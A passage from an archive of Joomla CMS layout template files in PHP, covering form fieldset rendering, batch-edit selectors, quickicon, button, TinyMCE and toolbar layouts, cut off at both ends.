$form->renderField($f); break; } } } $html[] = '</fieldset>'; echo implode('', $html); joomla/edit/params.php 0000644 00000014443 15216442676 0010771 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage Layout * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\Factory; use Joomla\CMS\HTML\HTMLHelper; use Joomla\CMS\Language\Text; use Joomla\CMS\Layout\LayoutHelper; $app = Factory::getApplication(); $form = $displayData->getForm(); $fieldSets = $form->getFieldsets(); $helper = $displayData->get('useCoreUI', false) ? 'uitab' : 'bootstrap'; if (empty($fieldSets)) { return; } $ignoreFieldsets = $displayData->get('ignore_fieldsets') ?: []; $outputFieldsets = $displayData->get('output_fieldsets') ?: []; $ignoreFieldsetFields = $displayData->get('ignore_fieldset_fields') ?: []; $ignoreFields = $displayData->get('ignore_fields') ?: []; $extraFields = $displayData->get('extra_fields') ?: []; $tabName = $displayData->get('tab_name') ?: 'myTab'; // These are required to preserve data on save when fields are not displayed. $hiddenFieldsets = $displayData->get('hiddenFieldsets') ?: []; // These are required to configure showing and hiding fields in the editor. $configFieldsets = $displayData->get('configFieldsets') ?: []; // Handle the hidden fieldsets when show_options is set false if (!$displayData->get('show_options', 1)) { // The HTML buffer $html = []; // Loop over the fieldsets foreach ($fieldSets as $name => $fieldSet) { // Check if the fieldset should be ignored if (in_array($name, $ignoreFieldsets, true)) { continue; } // If it is a hidden fieldset, render the inputs if (in_array($name, $hiddenFieldsets)) { // Loop over the fields foreach ($form->getFieldset($name) as $field) { // Add only the input on the buffer $html[] = $field->input; } // Make sure the fieldset is not rendered twice $ignoreFieldsets[] = $name; } // Check if it is the correct fieldset to ignore if (strpos($name, 'basic') === 0) { // Ignore only the fieldsets which are defined by the options not the custom fields ones $ignoreFieldsets[] = $name; } } // Echo the hidden fieldsets echo implode('', $html); } $opentab = false; $xml = $form->getXml(); // Loop again over the fieldsets foreach ($fieldSets as $name => $fieldSet) { // Ensure any fieldsets we don't want to show are skipped (including repeating formfield fieldsets) if ( (isset($fieldSet->repeat) && $fieldSet->repeat === true) || in_array($name, $ignoreFieldsets) || (!empty($configFieldsets) && in_array($name, $configFieldsets, true)) || (!empty($hiddenFieldsets) && in_array($name, $hiddenFieldsets, true)) ) { continue; } // Determine the label if (!empty($fieldSet->label)) { $label = Text::_($fieldSet->label); } else { $label = strtoupper('JGLOBAL_FIELDSET_' . $name); if (Text::_($label) === $label) { $label = strtoupper($app->getInput()->get('option') . '_' . $name . '_FIELDSET_LABEL'); } $label = Text::_($label); } $hasChildren = $xml->xpath('//fieldset[@name="' . $name . '"]//fieldset[not(ancestor::field/form/*)]'); $hasParent = $xml->xpath('//fieldset//fieldset[@name="' . $name . '"]'); $isGrandchild = $xml->xpath('//fieldset//fieldset//fieldset[@name="' . $name . '"]'); if (!$isGrandchild && $hasParent) { echo '<fieldset id="fieldset-' . $name . '" class="options-form ' . (!empty($fieldSet->class) ? $fieldSet->class : '') . '">'; echo '<legend>' . $label . '</legend>'; // Include the description when available if (!empty($fieldSet->description)) { echo '<div class="alert alert-info">'; echo '<span class="icon-info-circle" aria-hidden="true"></span><span class="visually-hidden">' . Text::_('INFO') . '</span> '; echo Text::_($fieldSet->description); echo '</div>'; } echo '<div class="form-grid">'; } elseif (!$hasParent) { // Tabs if ($opentab) { if ($opentab > 1) { echo '</div>'; echo '</fieldset>'; } // End previous tab echo HTMLHelper::_($helper . '.endTab'); } // Start the tab echo HTMLHelper::_($helper . '.addTab', $tabName, 'attrib-' . $name, $label); $opentab = 1; // Directly add a fieldset if we have no children if (!$hasChildren) { echo '<fieldset id="fieldset-' . $name . '" class="options-form ' . (!empty($fieldSet->class) ? $fieldSet->class : '') . '">'; echo '<legend>' . $label . '</legend>'; // Include the description when available if (!empty($fieldSet->description)) { echo '<div class="alert alert-info">'; echo '<span class="icon-info-circle" aria-hidden="true"></span><span class="visually-hidden">' . Text::_('INFO') . '</span> '; echo Text::_($fieldSet->description); echo '</div>'; } echo '<div class="form-grid">'; $opentab = 2; } elseif (!empty($fieldSet->description)) { // Include the description when available echo '<div class="alert alert-info alert-parent">'; echo '<span class="icon-info-circle" aria-hidden="true"></span><span class="visually-hidden">' . Text::_('INFO') . '</span> '; echo Text::_($fieldSet->description); echo '</div>'; } } // We're on the deepest level => output fields if (!$hasChildren) { // The name of the fieldset to render $displayData->fieldset = $name; // Force to show the options $displayData->showOptions = true; // Render the fieldset echo LayoutHelper::render('joomla.edit.fieldset', $displayData); } // Close open fieldset if (!$isGrandchild && $hasParent) { echo '</div>'; echo '</fieldset>'; } } if ($opentab) { if ($opentab > 1) { echo '</div>'; echo '</fieldset>'; } // End previous tab echo HTMLHelper::_($helper . '.endTab'); } joomla/edit/metadata.php 0000644 00000002353 15216442676 0011263 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage Layout * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\Language\Text; $form = $displayData->getForm(); // JLayout for standard handling of metadata fields in the administrator content edit screens. $fieldSets = $form->getFieldsets('metadata'); ?> <?php foreach ($fieldSets as $name => $fieldSet) : ?> <?php if (isset($fieldSet->description) && trim($fieldSet->description)) : ?> <div class="alert alert-info"> <span class="icon-info-circle" aria-hidden="true"></span><span class="visually-hidden"><?php echo Text::_('INFO'); ?></span> <?php echo $this->escape(Text::_($fieldSet->description)); ?> </div> <?php endif; ?> <?php // Include the real fields in this panel. if ($name === 'jmetadata') { echo $form->renderField('metadesc'); echo $form->renderField('metakey'); } foreach ($form->getFieldset($name) as $field) { if ($field->name !== 'jform[metadata][tags][]') { echo $field->renderField(); } } ?> <?php endforeach; ?> joomla/html/batch/language.php 0000644 00000001351 15216442676 0012363 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage Layout * * @copyright (C) 2015 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\HTML\HTMLHelper; use Joomla\CMS\Language\Text; ?> <label id="batch-language-lbl" for="batch-language-id"> <?php echo Text::_('JLIB_HTML_BATCH_LANGUAGE_LABEL'); ?> </label> <select name="batch[language_id]" class="form-select" id="batch-language-id"> <option value=""><?php echo Text::_('JLIB_HTML_BATCH_LANGUAGE_NOCHANGE'); ?></option> <?php echo HTMLHelper::_('select.options', HTMLHelper::_('contentlanguage.existing', true, true), 'value', 'text'); ?> </select> joomla/html/batch/adminlanguage.php 0000644 00000001347 15216442676 0013401 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage Layout * * @copyright (C) 2017 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\HTML\HTMLHelper; use Joomla\CMS\Language\Text; ?> <label id="batch-language-lbl" for="batch-language-id"> <?php echo Text::_('JLIB_HTML_BATCH_LANGUAGE_LABEL'); ?> </label> <select name="batch[language_id]" class="form-select" id="batch-language-id"> <option value=""><?php echo Text::_('JLIB_HTML_BATCH_LANGUAGE_NOCHANGE'); ?></option> <?php echo HTMLHelper::_('select.options', HTMLHelper::_('adminlanguage.existing', true, true), 'value', 'text'); ?> </select> joomla/html/batch/workflowstage.php 0000644 00000001515 15216442676 0013500 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage Layout * * @copyright (C) 2018 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\HTML\HTMLHelper; use Joomla\CMS\Language\Text; ?> <label id="batch-workflowstage-lbl" for="batch-workflowstage-id"> <?php echo Text::_('JLIB_HTML_BATCH_WORKFLOW_STAGE_LABEL'); ?> </label> <?php $attr = [ 'id' => 'batch-workflowstage-id', 'group.label' => 'text', 'group.items' => null, 'list.attr' => [ 'class' => 'form-select' ] ]; $groups = HTMLHelper::_('workflowstage.existing', ['title' => Text::_('JLIB_HTML_BATCH_WORKFLOW_STAGE_NOCHANGE')]); echo HTMLHelper::_('select.groupedlist', $groups, 'batch[workflowstage_id]', $attr); joomla/html/batch/tag.php 0000644 00000001311 15216442676 0011347 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage Layout * * @copyright (C) 2015 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\HTML\HTMLHelper; use Joomla\CMS\Language\Text; ?> <label id="batch-tag-lbl" for="batch-tag-id"> <?php echo Text::_('JLIB_HTML_BATCH_TAG_LABEL'); ?> </label> <select name="batch[tag]" class="form-select" id="batch-tag-id"> <option value=""><?php echo Text::_('JLIB_HTML_BATCH_TAG_NOCHANGE'); ?></option> <?php echo HTMLHelper::_('select.options', HTMLHelper::_('tag.tags', ['filter.published' => [1]]), 'value', 'text'); ?> </select> joomla/html/batch/item.php 0000644 00000003465 15216442676 0011546 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage Layout * * @copyright (C) 2015 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\Factory; use Joomla\CMS\HTML\HTMLHelper; use Joomla\CMS\Language\Text; extract($displayData); /** * Layout variables * ----------------- * @var string $extension The extension name */ // Create the copy/move options. $options = [ HTMLHelper::_('select.option', 'c', Text::_('JLIB_HTML_BATCH_COPY')), HTMLHelper::_('select.option', 'm', Text::_('JLIB_HTML_BATCH_MOVE')) ]; /** @var Joomla\CMS\WebAsset\WebAssetManager $wa */ $wa = Factory::getApplication()->getDocument()->getWebAssetManager(); $wa->useScript('joomla.batch-copymove'); ?> <label id="batch-choose-action-lbl" for="batch-category-id"> <?php echo Text::_('JLIB_HTML_BATCH_MENU_LABEL'); ?> </label> <div id="batch-choose-action" class="control-group"> <select name="batch[category_id]" class="form-select" id="batch-category-id"> <option value=""><?php echo Text::_('JLIB_HTML_BATCH_NO_CATEGORY'); ?></option> <?php if (isset($addRoot) && $addRoot) : ?> <?php echo HTMLHelper::_('select.options', HTMLHelper::_('category.categories', $extension)); ?> <?php else : ?> <?php echo HTMLHelper::_('select.options', HTMLHelper::_('category.options', $extension)); ?> <?php endif; ?> </select> </div> <div id="batch-copy-move" class="control-group radio"> <fieldset id="batch-copy-move-id"> <legend> <?php echo Text::_('JLIB_HTML_BATCH_MOVE_QUESTION'); ?> </legend> <?php echo HTMLHelper::_('select.radiolist', $options, 'batch[move_copy]', '', 'value', 'text', 'm'); ?> </fieldset> </div> joomla/html/batch/access.php 0000644 00000001272 15216442676 0012043 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage Layout * * @copyright (C) 2015 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\HTML\HTMLHelper; use Joomla\CMS\Language\Text; ?> <label id="batch-access-lbl" for="batch-access"> <?php echo Text::_('JLIB_HTML_BATCH_ACCESS_LABEL'); ?> </label> <?php echo HTMLHelper::_( 'access.assetgrouplist', 'batch[assetgroup_id]', '', 'class="form-select"', [ 'title' => Text::_('JLIB_HTML_BATCH_NOCHANGE'), 'id' => 'batch-access' ] ); joomla/html/batch/user.php 0000644 00000001732 15216442676 0011561 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage Layout * * @copyright (C) 2015 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\HTML\HTMLHelper; use Joomla\CMS\Language\Text; extract($displayData); /** * Layout variables * ----------------- * @var boolean $noUser Inject an option for no user? */ $optionNo = ''; if ($noUser) { $optionNo = '<option value="0">' . Text::_('JLIB_HTML_BATCH_USER_NOUSER') . '</option>'; } ?> <label id="batch-user-lbl" for="batch-user-id"> <?php echo Text::_('JLIB_HTML_BATCH_USER_LABEL'); ?> </label> <select name="batch[user_id]" class="form-select" id="batch-user-id"> <option value=""><?php echo Text::_('JLIB_HTML_BATCH_USER_NOCHANGE'); ?></option> <?php echo $optionNo; ?> <?php echo HTMLHelper::_('select.options', HTMLHelper::_('user.userlist'), 'value', 'text'); ?> </select> joomla/html/image.php 0000644 00000002420 15216442676 0010577 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage Layout * * @copyright (C) 2021 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ /** * Layout variables * ----------------- * @var array $displayData Array with all the given attributes for the image element. * Eg: src, class, alt, width, height, loading, decoding, style, data-* * Note: only the alt and src attributes are escaped by default! */ defined('_JEXEC') or die; use Joomla\CMS\HTML\HTMLHelper; use Joomla\Utilities\ArrayHelper; $img = HTMLHelper::_('cleanImageURL', $displayData['src']); $displayData['src'] = $this->escape($img->url); if (isset($displayData['alt'])) { if ($displayData['alt'] === false) { unset($displayData['alt']); } else { $displayData['alt'] = $this->escape($displayData['alt']); } } if ($img->attributes['width'] > 0 && $img->attributes['height'] > 0) { $displayData['width'] = $img->attributes['width']; $displayData['height'] = $img->attributes['height']; if (empty($displayData['loading'])) { $displayData['loading'] = 'lazy'; } } echo '<img ' . ArrayHelper::toString($displayData) . '>'; joomla/html/treeprefix.php 0000644 00000001066 15216442676 0011677 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage Layout * * @copyright (C) 2016 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; extract($displayData); /** * Layout variables * ----------------- * @var integer $level The level of the item in the tree like structure. * * @since 3.6.0 */ if ($level > 1) { echo '<span class="text-muted">' . str_repeat('⋮ ', (int) $level - 2) . '</span>– '; } joomla/quickicons/icon.php 0000644 00000006325 15216442676 0011661 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage Layout * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\Language\Text; $id = empty($displayData['id']) ? '' : (' id="' . $displayData['id'] . '"'); $target = empty($displayData['target']) ? '' : (' target="' . $displayData['target'] . '"'); $onclick = empty($displayData['onclick']) ? '' : (' onclick="' . $displayData['onclick'] . '"'); if (isset($displayData['ajaxurl'])) { $dataUrl = 'data-url="' . $displayData['ajaxurl'] . '"'; } else { $dataUrl = ''; } // The title for the link (a11y) $title = empty($displayData['title']) ? '' : (' title="' . $this->escape($displayData['title']) . '"'); // The information $text = empty($displayData['text']) ? '' : ('<span class="j-links-link">' . $displayData['text'] . '</span>'); // Make the class string $class = empty($displayData['class']) ? '' : (' class="' . $this->escape($displayData['class']) . '"'); ?> <?php // If it is a button with two links: make it a list if (isset($displayData['linkadd'])) : ?> <li class="quickicon-group"> <ul class="list-unstyled d-flex w-100"> <li class="quickicon"> <?php else : ?> <li class="quickicon quickicon-single"> <?php endif; ?> <a <?php echo $id . $class; ?> href="<?php echo $displayData['link']; ?>"<?php echo $target . $onclick . $title; ?>> <div class="quickicon-info"> <?php if (isset($displayData['image'])) : ?> <div class="quickicon-icon"> <div class="<?php echo $displayData['image']; ?>" aria-hidden="true"></div> </div> <?php endif; ?> <?php if (isset($displayData['ajaxurl'])) : ?> <div class="quickicon-amount" <?php echo $dataUrl ?> aria-hidden="true"> <span class="icon-spinner" aria-hidden="true"></span> </div> <div class="quickicon-sr-desc visually-hidden"></div> <?php endif; ?> </div> <?php // Name indicates the component if (isset($displayData['name'])) : ?> <div class="quickicon-name d-flex align-items-end" <?php echo isset($displayData['ajaxurl']) ? ' aria-hidden="true"' : ''; ?>> <?php echo Text::_($displayData['name']); ?> </div> <?php endif; ?> <?php // Information or action from plugins if (isset($displayData['text'])) : ?> <div class="quickicon-name d-flex align-items-center"> <?php echo $text; ?> </div> <?php endif; ?> </a> </li> <?php // Add the link to the edit-form if (isset($displayData['linkadd'])) : ?> <li class="quickicon-linkadd j-links-link d-flex"> <a class="d-flex" href="<?php echo $displayData['linkadd']; ?>" title="<?php echo Text::_($displayData['name'] . '_ADD'); ?>"> <span class="icon-plus" aria-hidden="true"></span> </a> </li> </ul> </li> <?php endif; ?> joomla/button/iconclass.php 0000644 00000000602 15216442676 0012042 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage Layout * * @copyright (C) 2017 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\Layout\LayoutHelper; $displayData['html'] = false; echo LayoutHelper::render('joomla.icon.iconclass', $displayData); joomla/button/transition-button.php 0000644 00000005142 15216442676 0013573 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage Layout * * @copyright (C) 2018 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ use Joomla\CMS\HTML\HTMLHelper; use Joomla\CMS\Language\Text; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects extract($displayData, EXTR_OVERWRITE); /** * Layout variables * ----------------- * @var string $icon * @var string $title * @var string $value * @var string $task * @var array $options */ $disabled = empty($options['transitions']) || !empty($options['disabled']); $id = $options['id']; $tipTitle = $options['tip_title']; $tipContent = $options['tip_content']; $checkboxName = $options['checkbox_name']; $task = $options['task']; ?> <button type="button" class="tbody-icon data-state-<?php echo $this->escape($value ?? ''); ?>" aria-labelledby="<?php echo $id; ?>" <?php echo $disabled ? 'disabled' : ''; ?> <?php if (!$disabled) : ?> onclick="Joomla.toggleAllNextElements(this, 'd-none')" <?php endif; ?> > <span class="<?php echo $this->escape($icon ?? ''); ?>" aria-hidden="true"></span> </button> <div id="<?php echo $id; ?>" role="tooltip"> <?php echo HTMLHelper::_('tooltipText', $tipTitle ?: $title, $tipContent, 0, false); ?> </div> <?php if (!$disabled) : ?> <div class="d-none"> <span class="visually-hidden"> <label for="transition-select_<?php echo (int) $row ?? ''; ?>"> <?php echo Text::_('JWORKFLOW_EXECUTE_TRANSITION'); ?> </label> </span> <?php $default = [ HTMLHelper::_('select.option', '', $this->escape($options['title'])), HTMLHelper::_('select.option', '-1', '--------', ['disable' => true]), HTMLHelper::_('select.option', '<OPTGROUP>', Text::_('COM_CONTENT_RUN_TRANSITION')), ]; $transitions = array_merge($default, $options['transitions'], [HTMLHelper::_('select.option', '</OPTGROUP>')]); $attribs = [ 'id' => 'transition-select_' . (int) $row ?? '', 'list.attr' => [ 'class' => 'form-select form-select-sm w-auto', 'onchange' => "this.form.transition_id.value=this.value;Joomla.listItemTask('" . $checkboxName . $this->escape($row ?? '') . "', '" . $task . "')"] ]; echo HTMLHelper::_('select.genericlist', $transitions, '', $attribs); ?> </div> <?php endif; ?> joomla/button/action-button.php 0000644 00000002700 15216442676 0012653 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage Layout * * @copyright (C) 2017 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ use Joomla\CMS\Factory; use Joomla\CMS\HTML\HTMLHelper; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects extract($displayData, EXTR_OVERWRITE); /** * Layout variables * ----------------- * @var string $icon * @var string $title * @var string $value * @var string $task * @var array $options */ Factory::getDocument()->getWebAssetManager()->useScript('list-view'); $disabled = !empty($options['disabled']); $taskPrefix = $options['task_prefix']; $checkboxName = $options['checkbox_name']; $id = $options['id']; $tipTitle = $options['tip_title']; ?> <button type="button" class="js-grid-item-action tbody-icon data-state-<?php echo $this->escape($value ?? ''); ?>" aria-labelledby="<?php echo $id; ?>" <?php echo $disabled ? 'disabled' : ''; ?> data-item-id="<?php echo $checkboxName . $this->escape($row ?? ''); ?>" data-item-task="<?php echo $this->escape(isset($task) ? $taskPrefix . $task : ''); ?>" > <span class="<?php echo $this->escape($icon ?? ''); ?>" aria-hidden="true"></span> </button> <div id="<?php echo $id; ?>" role="tooltip"> <?php echo HTMLHelper::_('tooltipText', $tipTitle ?: $title, $title, 0, false); ?> </div> joomla/tinymce/textarea.php 0000644 00000002246 15216442676 0012044 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage Layout * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\Factory; $data = $displayData; $wa = Factory::getDocument()->getWebAssetManager(); if (!$wa->assetExists('script', 'tinymce')) { $wa->registerScript('tinymce', 'media/vendor/tinymce/tinymce.min.js', [], ['defer' => true]); } if (!$wa->assetExists('script', 'plg_editors_tinymce')) { $wa->registerScript('plg_editors_tinymce', 'plg_editors_tinymce/tinymce.min.js', [], ['defer' => true], ['core', 'tinymce']); } $wa->useScript('tinymce')->useScript('plg_editors_tinymce'); ?> <textarea name="<?php echo $data->name; ?>" id="<?php echo $data->id; ?>" cols="<?php echo $data->cols; ?>" rows="<?php echo $data->rows; ?>" style="width: <?php echo $data->width; ?>; height: <?php echo $data->height; ?>;" class="<?php echo empty($data->class) ? 'mce_editable' : $data->class; ?>" <?php echo $data->readonly ? ' readonly disabled' : ''; ?> > <?php echo $data->content; ?> </textarea> joomla/tinymce/togglebutton.php 0000644 00000001171 15216442676 0012740 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage Layout * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\Language\Text; ?> <div class="toggle-editor btn-toolbar float-end clearfix mt-3"> <div class="btn-group"> <button type="button" disabled class="btn btn-secondary js-tiny-toggler-button"> <span class="icon-eye" aria-hidden="true"></span> <?php echo Text::_('PLG_TINY_BUTTON_TOGGLE_EDITOR'); ?> </button> </div> </div> joomla/toolbar/popup.php 0000644 00000002562 15216442676 0011365 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage Layout * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\Factory; use Joomla\Utilities\ArrayHelper; extract($displayData, EXTR_OVERWRITE); /** * Layout variables * ----------------- * @var int $id * @var string $name * @var string $doTask * @var string $class * @var string $text * @var string $btnClass * @var string $tagName * @var bool $listCheck * @var string $htmlAttributes */ Factory::getDocument()->getWebAssetManager() ->useScript('core') ->useScript('webcomponent.toolbar-button'); $tagName = $tagName ?? 'button'; $modalAttrs['data-bs-toggle'] = 'modal'; $modalAttrs['data-bs-target'] = '#' . $selector; $idAttr = !empty($id) ? ' id="' . $id . '"' : ''; $listAttr = !empty($listCheck) ? ' list-selection' : ''; ?> <joomla-toolbar-button <?php echo $idAttr . $listAttr; ?>> <<?php echo $tagName; ?> value="<?php echo $doTask; ?>" class="<?php echo $btnClass; ?>" <?php echo $htmlAttributes; ?> <?php echo ArrayHelper::toString($modalAttrs); ?> > <span class="<?php echo $class; ?>" aria-hidden="true"></span> <?php echo $text; ?> </<?php echo $tagName; ?>> </joomla-toolbar-button> joomla/toolbar/containeropen.php 0000644 00000001245 15216442676 0013063 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage Layout * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\Factory; use Joomla\CMS\Language\Text; /** @var Joomla\CMS\WebAsset\WebAssetManager $wa */ $wa = Factory::getApplication()->getDocument()->getWebAssetManager(); $wa->registerAndUseScript('joomla.toolbar', 'legacy/toolbar.min.js', [], ['defer' => true], ['core']); ?> <nav aria-label="<?php echo Text::_('JTOOLBAR'); ?>"> <div class="btn-toolbar d-flex" role="toolbar" id="<?php echo $displayData['id']; ?>"> joomla/toolbar/base.php 0000644 00000000627 15216442676 0011134 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage Layout * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; extract($displayData, EXTR_OVERWRITE); /** * Layout variables * ----------------- * @var string $action * @var array $options */ echo $action; joomla/toolbar/iconclass.php 0000644 00000000602 15216442676 0012171 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage Layout * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\Layout\LayoutHelper; $displayData['html'] = false; echo LayoutHelper::render('joomla.icon.iconclass', $displayData); joomla/toolbar/dropdown.php 0000644 00000004626 15216442676 0012061 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage Layout * * @copyright (C) 2018 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\Factory; use Joomla\CMS\Language\Text; extract($displayData, EXTR_OVERWRITE); /** * Layout variables * ----------------- * @var string $id * @var string $onclick * @var string $class * @var string $text * @var string $btnClass * @var string $tagName * @var string $htmlAttributes * @var string $hasButtons * @var string $button * @var string $dropdownItems * @var string $caretClass * @var string $toggleSplit */ $direction = Factory::getLanguage()->isRtl() ? 'dropdown-menu-end' : ''; /** * The dropdown class is also injected on the button from \Joomla\CMS\Toolbar\ToolbarButton::prepareOptions() and therefore we need the dropdown script whether we * are in split toggle mode or not */ /** @var Joomla\CMS\WebAsset\WebAssetManager $wa */ $wa = Factory::getApplication()->getDocument()->getWebAssetManager(); $wa->useScript('bootstrap.dropdown'); ?> <?php if ($hasButtons && trim($button) !== '') : ?> <?php // If there is a toggle split then render the items. Else render the parent button which has the items in the custom element. ?> <?php if ($toggleSplit ?? true) : ?> <?php // @todo use a class instead of the inline style. // Reverse order solves a console err for dropdown ?> <div id="<?php echo $id; ?>" class="btn-group dropdown-<?php echo $name ?? ''; ?>" role="group"> <button type="button" class="<?php echo $caretClass ?? ''; ?> dropdown-toggle-split" data-bs-toggle="dropdown" data-bs-target=".dropdown-menu" data-bs-display="static" aria-haspopup="true" aria-expanded="false"> <span class="visually-hidden"><?php echo Text::_('JGLOBAL_TOGGLE_DROPDOWN'); ?></span> <span class="icon-chevron-down" aria-hidden="true"></span> </button> <?php echo $button; ?> <?php if (trim($dropdownItems) !== '') : ?> <div class="dropdown-menu <?php echo $direction; ?>"> <?php echo $dropdownItems; ?> </div> <?php endif; ?> </div> <?php else : ?> <?php echo $button; ?> <?php endif; ?> <?php endif; ?> joomla/toolbar/standard.php 0000644 00000004250 15216442676 0012016 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage Layout * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\Factory; extract($displayData, EXTR_OVERWRITE); /** * Layout variables * ----------------- * @var string $id * @var string $onclick * @var string $class * @var string $text * @var string $btnClass * @var string $tagName * @var string $htmlAttributes * @var string $task The task which should be executed * @var bool $listCheck Boolean, whether selection from a list is needed * @var string $form CSS selector for a target form * @var bool $formValidation Whether the form need to be validated before run the task * @var string $message Confirmation message before run the task */ Factory::getDocument()->getWebAssetManager() ->useScript('core') ->useScript('webcomponent.toolbar-button'); $tagName = $tagName ?? 'button'; $taskAttr = ''; $idAttr = !empty($id) ? ' id="' . $id . '"' : ''; $listAttr = !empty($listCheck) ? ' list-selection' : ''; $formAttr = !empty($form) ? ' form="' . $this->escape($form) . '"' : ''; $validate = !empty($formValidation) ? ' form-validation' : ''; $msgAttr = !empty($message) ? ' confirm-message="' . $this->escape($message) . '"' : ''; if (!empty($task)) { $taskAttr = ' task="' . $task . '"'; } elseif (!empty($onclick)) { $htmlAttributes .= ' onclick="' . $onclick . '"'; } ?> <joomla-toolbar-button <?php echo $idAttr . $taskAttr . $listAttr . $formAttr . $validate . $msgAttr; ?>> <?php if (!empty($group)) : ?> <a href="#" class="dropdown-item"> <span class="<?php echo trim($class ?? ''); ?>"></span> <?php echo $text ?? ''; ?> </a> <?php else : ?> <<?php echo $tagName; ?> class="<?php echo $btnClass ?? ''; ?>" <?php echo $htmlAttributes ?? ''; ?> > <span class="<?php echo trim($class ?? ''); ?>" aria-hidden="true"></span> <?php echo $text ?? ''; ?> </<?php echo $tagName; ?>> <?php endif; ?> </joomla-toolbar-button> joomla/toolbar/inlinehelp.php 0000644 00000000734 15216442676 0012350 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage Layout * * @copyright (C) 2022 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\Factory; use Joomla\CMS\Layout\LayoutHelper; Factory::getApplication()->getDocument() ->getWebAssetManager()->useScript('inlinehelp'); echo LayoutHelper::render('joomla.toolbar.standard', $displayData); joomla/toolbar/batch.php 0000644 00000002204 15216442676 0011274 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage Layout * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\Language\Text; // @todo: Deprecate this file since we can use popup button to raise batch modal. /** @var Joomla\CMS\WebAsset\WebAssetManager $wa */ $wa = \Joomla\CMS\Factory::getApplication()->getDocument()->getWebAssetManager(); $wa->useScript('core'); $id = isset($displayData['id']) ? $displayData['id'] : ''; $title = $displayData['title']; 